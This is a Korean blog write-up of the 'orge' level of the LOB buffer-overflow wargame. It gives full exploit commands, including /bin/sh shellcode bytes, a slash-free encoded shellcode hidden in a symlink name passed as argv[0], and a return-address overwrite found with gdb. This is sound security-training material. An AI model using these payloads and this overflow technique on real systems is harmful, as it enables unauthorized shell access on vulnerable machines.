System/LOB

[LOB_8]orge

dcho 2019. 9. 24. 10:55
SMALL

orge // timewalker

 

argv[0],[1] 만 입력되게 되어있고, memset을 한번더 해준다! 일단 먼저 사본파일 tmp에 저장

./troll `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`

세폴트(세그먼트폴트)가 떠 코어덤프를 해준다.

하지만 gdb로 확인을 해봤는데 one more ! 부분에서 memset를 한번더 해주어서 그 부분이 다 0으로 초기화 되었다.

./troll `python -c 'print "\x90"*43+"\xf9\xbf\x0f\x40\xbf"'`

 

혹시 RTL(Return To Library)가 아닌가 해서 시도하다가 아닌것을 직감했다.

이것저것 뒤지다가 전문제와 동일하게 argv[0] 에 문자를 넣고 추가적으로 쉘코드를 넣어주기로 했다.

근데 쉘코드를 찾다보니 

( https://blog.naver.com/mathboy7/220215329450)

위와 같은 링크를 통해 argv[0]에 알맞은 쉘코드를 찾게 되었다.

(이유는 "\x2f"문자가 포함되어 있으면 에러가 나는데 "\x2f"는 ascii 코드로 "/" 이다. 그러므로 디렉토리 구분자로 인식을 한다.)

ln -s troll `python -c 'print "A"*10+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

심볼릭 링크를 적절하게 만들어 주었는데 식별하기 쉽게 A를 넣어주고 그뒤에 쉘코드를 넣어주었다.

./AAAAAAAAAAꝑ^1ɱ2l^Nÿ^A蝁u󪝅髿ÿÿ2i00tii0cjo㐔⚱^L΁ `python -c 'print "\x90"*47+"\xbf"'`

일단 세그먼트 폴트가 뜨게해 argv[0]에 쉘코드 주소를 알아내기 위해 위와 같이 입력해준뒤 확인해 보았다. 

0xbffffb8d 에 쉘코드가 들어있는 것을 확인해 볼 수 있었다. ( little endian : \x8f\xfb\xff\xbf )

./AAAAAAAAAAꝑ^1ɱ2l^Nÿ^A蝁u󪝅髿ÿÿ2i00tii0cjo㐔⚱^L΁ `python -c 'print "\x90"*44+"\x8d\xfb\xff\xbf"'`

심볼릭 링크파일도 동일하게 만들어주고  SFP까지 NOP으로 덮어준 다음 RET에 쉘코드 주소를 넣어 주었다.

클리어! 

 

'System > LOB' 카테고리의 다른 글

[LOB_10]vampire  (0) 2019.09.24
[LOB_9]troll  (0) 2019.09.24
[LOB_7]darkelf  (0) 2019.09.24
[LOB_6]wolfman  (0) 2019.07.25
[LOB_5]orc  (0) 2019.07.25